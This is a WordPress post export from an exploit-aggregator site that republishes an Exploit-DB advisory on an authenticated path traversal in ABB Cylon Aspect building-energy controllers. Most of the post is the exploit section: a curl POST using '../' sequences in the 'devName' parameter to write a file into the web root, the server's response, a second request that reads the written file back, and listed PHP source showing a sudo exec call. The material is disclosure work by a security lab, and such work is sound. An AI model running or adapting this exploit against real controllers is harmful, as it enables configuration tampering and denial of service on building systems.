{"id":769,"date":"2025-04-20T20:33:57","date_gmt":"2025-04-20T20:33:57","guid":{"rendered":"http:\/\/localhost\/?p=769"},"modified":"2025-04-20T20:33:57","modified_gmt":"2025-04-20T20:33:57","slug":"abb-cylon-aspect-30802-ethernetupdatephp-authenticated-path-traversal","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=769","title":{"rendered":"ABB Cylon Aspect 3.08.02 (ethernetUpdate.php) – Authenticated Path Traversal"},"content":{"rendered":"

Exploit Details<\/h2>\n

Basic Information<\/h3>\n\n\n\n\n\n\n
Exploit Title<\/th>\nABB Cylon Aspect 3.08.02 (ethernetUpdate.php) – Authenticated Path Traversal<\/td>\n<\/tr>\n
Exploit ID<\/th>\nEDB-ID:52252<\/td>\n<\/tr>\n
Type<\/th>\nexploitdb<\/td>\n<\/tr>\n
Published<\/th>\n2025-04-17T00:00:00<\/td>\n<\/tr>\n
Modified<\/th>\n2025-04-17T00:00:00<\/td>\n<\/tr>\n<\/table>\n

CVSS Information<\/h3>\n\n\n\n\n
CVSS Score<\/th>\n0.0<\/td>\n<\/tr>\n
Severity<\/th>\nNONE<\/td>\n<\/tr>\n
Vector<\/th>\nNONE<\/td>\n<\/tr>\n<\/table>\n

CVE Information<\/h3>\n
\n
    \n<\/ul>\n<\/div>\n

    Exploit Description<\/h3>\n
    \nExploit Title: ABB Cylon Aspect 3.08.02 (ethernetUpdate.php) – Authenticated Path Traversal Vendor: ABB Ltd. Product web page: https:\/\/www.global.abb Affected version: NEXUS Series, MATRIX-2 Series, ASPECT-Enterprise, ASPECT-Studio …\n<\/div>\n

    Exploit Code<\/h3>\n
    \n# Exploit Title: ABB Cylon Aspect 3.08.02 (ethernetUpdate.php) – Authenticated Path Traversal
    \n
    # Vendor: ABB Ltd.
    \n
    # Product web page: https:\/\/www.global.abb
    \n
    # Affected version: NEXUS Series, MATRIX-2 Series, ASPECT-Enterprise, ASPECT-Studio
    \n
    Firmware: <=3.08.02\n\nSummary: ASPECT is an award-winning scalable building energy management\n
    and control solution designed to allow users seamless access to their
    \n
    building data through standard building protocols including smart devices.<\/p>\n

    Desc: The ABB Cylon controller suffers from an authenticated path traversal
    \n
    vulnerability. This can be exploited through the ‘devName’ POST parameter in
    \n
    the ethernetUpdate.php script to write partially controlled content, such as
    \n
    IP address values, into arbitrary file paths, potentially leading to configuration
    \n
    tampering and system compromise including denial of service scenario through
    \n
    ethernet configuration backup file overwrite.<\/p>\n

    Tested on: GNU\/Linux 3.15.10 (armv7l)
    \n
    GNU\/Linux 3.10.0 (x86_64)
    \n
    GNU\/Linux 2.6.32 (x86_64)
    \n
    Intel(R) Atom(TM) Processor E3930 @ 1.30GHz
    \n
    Intel(R) Xeon(R) Silver 4208 CPU @ 2.10GHz
    \n
    PHP\/7.3.11
    \n
    PHP\/5.6.30
    \n
    PHP\/5.4.16
    \n
    PHP\/4.4.8
    \n
    PHP\/5.3.3
    \n
    AspectFT Automation Application Server
    \n
    lighttpd\/1.4.32
    \n
    lighttpd\/1.4.18
    \n
    Apache\/2.2.15 (CentOS)
    \n
    OpenJDK Runtime Environment (rhel-2.6.22.1.-x86_64)
    \n
    OpenJDK 64-Bit Server VM (build 24.261-b02, mixed mode)
    \n
    ErgoTech MIX Deployment Server 2.0.0<\/p>\n

    Vulnerability discovered by Gjoko ‘LiquidWorm’ Krstic
    \n
    @zeroscience<\/p>\n

    Advisory ID: ZSL-2024-5890
    \n
    Advisory URL: https:\/\/www.zeroscience.mk\/en\/vulnerabilities\/ZSL-2024-5890.php<\/p>\n

    21.04.2024<\/p>\n

    —<\/p>\n

    $ cat project<\/p>\n

    P R O J E C T<\/p>\n

    .|
    \n
    | |
    \n
    |’| ._____
    \n
    ___ | | |. |’ .—“|
    \n
    _ .-‘ ‘-. | | .–‘| || | _| |
    \n
    .-‘| _.| | || ‘-__ | | | || |
    \n
    |’ | |. | || | | | | || |
    \n
    ____| ‘-‘ ‘ “” ‘-‘ ‘-.’ ‘` |____
    \n
    \u2591\u2592\u2593\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2593\u2592\u2591 \u2591\u2592\u2593\u2588\u2588\u2588\u2588\u2588\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2593\u2592\u2591
    \n
    \u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591
    \n
    \u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591
    \n
    \u2591\u2592\u2593\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591
    \n
    \u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591
    \n
    \u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591
    \n
    \u2591\u2592\u2593\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591
    \n
    \u2591\u2592\u2593\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2588\u2588\u2588\u2588\u2588\u2593\u2592\u2591 \u2591\u2592\u2593\u2588\u2588\u2588\u2588\u2588\u2588\u2593\u2592\u2591
    \n
    \u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2591\u2591\u2591\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591
    \n
    \u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2591\u2591\u2591\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2591\u2591\u2591\u2591\u2591
    \n
    \u2591\u2592\u2593\u2588\u2588\u2588\u2588\u2588\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2592\u2593\u2588\u2588\u2588\u2593\u2592\u2591
    \n
    \u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2591\u2591\u2591\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591
    \n
    \u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2591\u2591\u2591\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591
    \n
    \u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2591\u2591\u2591\u2591\u2591\u2591\u2592\u2593\u2588\u2588\u2588\u2588\u2588\u2588\u2593\u2592\u2591 \u2591\u2592\u2593\u2588\u2588\u2588\u2588\u2588\u2588\u2593\u2592\u2591 <\/p>\n

    $ curl http:\/\/192.168.73.31\/ethernetUpdate.php \\
    \n
    > -d “listFile=%2Fusr%2Flocal%2Faam%2Fetc%2Feth0\\
    \n
    > &devName=..\/..\/..\/..\/..\/..\/..\/home\/MIX_CMIX\/htmlroot\/testingus\\
    \n
    > &useDHCP=1\\
    \n
    > &dhcp=YES\\
    \n
    > &IP1=192&IP2=168&IP3=73&IP4=31\\
    \n
    > &SM1=255&SM2=255&SM3=255&SM4=0\\
    \n
    > &N1=192&N2=168&N3=1&N4=0\\
    \n
    > &B1=192&B2=168&B3=1&B4=255\\
    \n
    > &GW1=192&GW2=168&GW3=1&GW4=254\\
    \n
    > &DNSA1=&DNSA2=&DNSA3=&DNSA4=\\
    \n
    > &DNSB1=&DNSB2=&DNSB3=&DNSB4=\\
    \n
    > &submitTime=Submit” \\
    \n
    > -H “Cookie: PHPSESSID=xxx”<\/p>\n


    \n

    \n
    Web Server Configuration<\/title><br \/>\n <link rel=\"stylesheet\" type=\"text\/css\" href=\"matrixstyle.css\"\/>\n<br \/><\/head><br \/>\n<br \/><body class=\"workscroll\" topmargin=\"0\" leftmargin=\"0\" scroll=\"No\"><br \/>\n<\/p>\n<h1>Ethernet Settings<\/h1>\n<p><\/p>\n<p class=\"subtitle\">\n<br \/> Ethernet settings have been successfully updated.<br \/>Please supply MAC address below to your Network Administrator in order to determine new IP Address.<br \/><b>MAC Address: <\/b><\/p>\n<p><iframe src=\"ethernetUpdateRun.php\" style=\"visibility:hidden;\"\/><\/p><\/form>\n<hr>\n<p><\/body><br \/>\n<br \/><\/html><\/p>\n<p>$ curl http:\/\/192.168.73.31\/testingus.bak<br \/>\n<br \/>ONBOOT=yes<br \/>\n<br \/>DHCP=YES<br \/>\n<br \/>IPADDR=192.168.73.31<br \/>\n<br \/>NETMASK=255.255.255.0<br \/>\n<br \/>GATEWAY=192.168.1.254<br \/>\n<br \/>NETWORK=192.168.1.0<br \/>\n<br \/>BROADCAST=192.168.1.255<br \/>\n<br \/>DNS1=<br \/>\n<br \/>DNS2=<\/p>\n<p>$ cat -n \/home\/MIX_CMIX\/htmlroot\/ethernetUpdateRun.php<br \/>\n<br \/> 1 <?php\n<br \/> 2 \/\/———Begin Authorization————-<br \/>\n<br \/> 3 require_once ‘validate\/validateHeader.php’;<br \/>\n<br \/> 4 \/\/——–End Authorization—————-<br \/>\n<br \/> 5 include “lib\/configParameter.php”;<br \/>\n<br \/> 6 $lookupLog = “config\/configfile”;<br \/>\n<br \/> 7 $listFile = trim(obtainValue($lookupLog, “SHELL”));<br \/>\n<br \/> 8 $command = $listFile . “net.sh”;<br \/>\n<br \/> 9 $sudo = trim(obtainValue($lookupLog, “SUDO”));<br \/>\n<br \/> 10 logWarning(“Ethernet Settings modified”);<br \/>\n<br \/> 11 exec($sudo . ” ” . $listFile . “net.sh”);<br \/>\n<br \/> 12 exit();<br \/>\n<br \/> 13<br \/>\n<br \/> 14 ?>\n<\/div>\n<p><a href=\"https:\/\/www.exploit-db.com\/exploits\/52252\" target=\"_blank\" style=\"display: inline-block; color: white; padding: 10px 20px; text-decoration: none; border-radius: 4px;\">View Full Exploit Details<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Exploit Details Basic Information Exploit Title ABB Cylon Aspect 3.08.02 (ethernetUpdate.php) – Authenticated Path Traversal Exploit ID EDB-ID:52252 Type exploitdb Published 2025-04-17T00:00:00 Modified 2025-04-17T00:00:00 CVSS…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,34,12,40,13,33,7,11,5],"class_list":["post-769","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-00","tag-exploit","tag-exploitdb","tag-news","tag-none","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>ABB Cylon Aspect 3.08.02 (ethernetUpdate.php) - Authenticated Path Traversal - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=769\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"ABB Cylon Aspect 3.08.02 (ethernetUpdate.php) - Authenticated Path Traversal - zero redgem\" \/>\n<meta property=\"og:description\" content=\"Exploit Details Basic Information Exploit Title ABB Cylon Aspect 3.08.02 (ethernetUpdate.php) – Authenticated Path Traversal Exploit ID EDB-ID:52252 Type exploitdb Published 2025-04-17T00:00:00 Modified 2025-04-17T00:00:00 CVSS...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=769\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2025-04-20T20:33:57+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"1 minute\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=769#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=769\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"ABB Cylon Aspect 3.08.02 (ethernetUpdate.php) – Authenticated Path Traversal\",\"datePublished\":\"2025-04-20T20:33:57+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=769\"},\"wordCount\":209,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"CVSS-0.0\",\"exploit\",\"exploitdb\",\"news\",\"NONE\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=769#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=769\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=769\",\"name\":\"ABB Cylon Aspect 3.08.02 (ethernetUpdate.php) - Authenticated Path Traversal - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2025-04-20T20:33:57+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=769#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=769\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=769#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"ABB Cylon Aspect 3.08.02 (ethernetUpdate.php) – Authenticated Path Traversal\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"ABB Cylon Aspect 3.08.02 (ethernetUpdate.php) - Authenticated Path Traversal - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=769","og_locale":"en_US","og_type":"article","og_title":"ABB Cylon Aspect 3.08.02 (ethernetUpdate.php) - Authenticated Path Traversal - zero redgem","og_description":"Exploit Details Basic Information Exploit Title ABB Cylon Aspect 3.08.02 (ethernetUpdate.php) – Authenticated Path Traversal Exploit ID EDB-ID:52252 Type exploitdb Published 2025-04-17T00:00:00 Modified 2025-04-17T00:00:00 CVSS...","og_url":"https:\/\/zero.redgem.net\/?p=769","og_site_name":"zero redgem","article_published_time":"2025-04-20T20:33:57+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"1 minute"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=769#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=769"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"ABB Cylon Aspect 3.08.02 (ethernetUpdate.php) – Authenticated Path Traversal","datePublished":"2025-04-20T20:33:57+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=769"},"wordCount":209,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","CVSS-0.0","exploit","exploitdb","news","NONE","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=769#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=769","url":"https:\/\/zero.redgem.net\/?p=769","name":"ABB Cylon Aspect 3.08.02 (ethernetUpdate.php) - Authenticated Path Traversal - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2025-04-20T20:33:57+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=769#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=769"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=769#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"ABB Cylon Aspect 3.08.02 (ethernetUpdate.php) – Authenticated Path Traversal"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/769","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=769"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/769\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=769"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=769"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=769"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}